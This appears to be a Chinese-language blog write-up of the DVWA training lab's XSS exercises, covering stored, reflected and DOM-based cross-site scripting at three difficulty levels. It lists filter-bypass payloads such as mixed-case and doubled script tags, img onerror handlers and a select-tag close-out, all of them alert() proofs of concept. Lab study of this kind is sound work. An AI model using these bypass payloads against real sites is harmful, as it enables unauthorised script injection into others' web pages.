XSS攻击__DVWA#Cross Site Script(跨站脚本)
XSS攻击一共有三种:存储型丶反射型丶DOM型
1.存储型
hack将XSS的脚本写入进浏览器的数据库中,当别人访问时就会执行
Low级别
构建语句 <script>alert('abc')</script>


Medium级别
尝试之前构造的语句,发现被过滤并且被转义
尝试在name注入 语句: <scripT>alert('abc')</script>
可以双写:<script<script>>alert('abc')</script>
High级别
注入时发现被全部过滤,大小写很严格, 语句:<img src=1 onerror=alert(123)>


2.反射型
由hack将构造好的链接(含有脚本),诱导用户点击,会执行脚本
构建语句: <script>alert(123)<script>

Medium级别: 可以使用双写,大小写 语句 <scripT>alert(123)</script> <script<script>>alert(123)</script>

将URL链接使用另一个用户登录,可以成功
High级别 语句 <img src=1 onerror=alert(1)>
3.DOM型
通过前端javascript将XSS脚本写入dom节点中,就可以触发脚本(有点相似反射型)
Low级别 语句 <script>alert(626)</script>

查看源代码,js脚本插入成功

Medium 级别
规则将<script>标签过滤,尝试一下img标签 语句:<img src=1 onerror=alert(1)> 查看源码,发现插入啦,但是没有执行
想到SQL注入的时候使用# 将后面注释掉,在这试一下注释标签,尝试语句 </select><img src=1 onerror=alert(1)>或者></option></select><img src=1 onerror=alert(1)>(第二种不容易报错,因为一层层闭合标签)


High级别
查看规则是只允许白名单内的传入,那我们可以使用# url传参时#后面内容不会发送给服务器,那就不会限制,但是会不会写入成功不晓得,尝试一下

构建语句 #<script>alert(352)</script>

成功的传入啦,但是不是很理解,既然#注入后面内容,那又怎么会成功的插入标签内呢? 希望帮助解决一下

浙公网安备 33010602011771号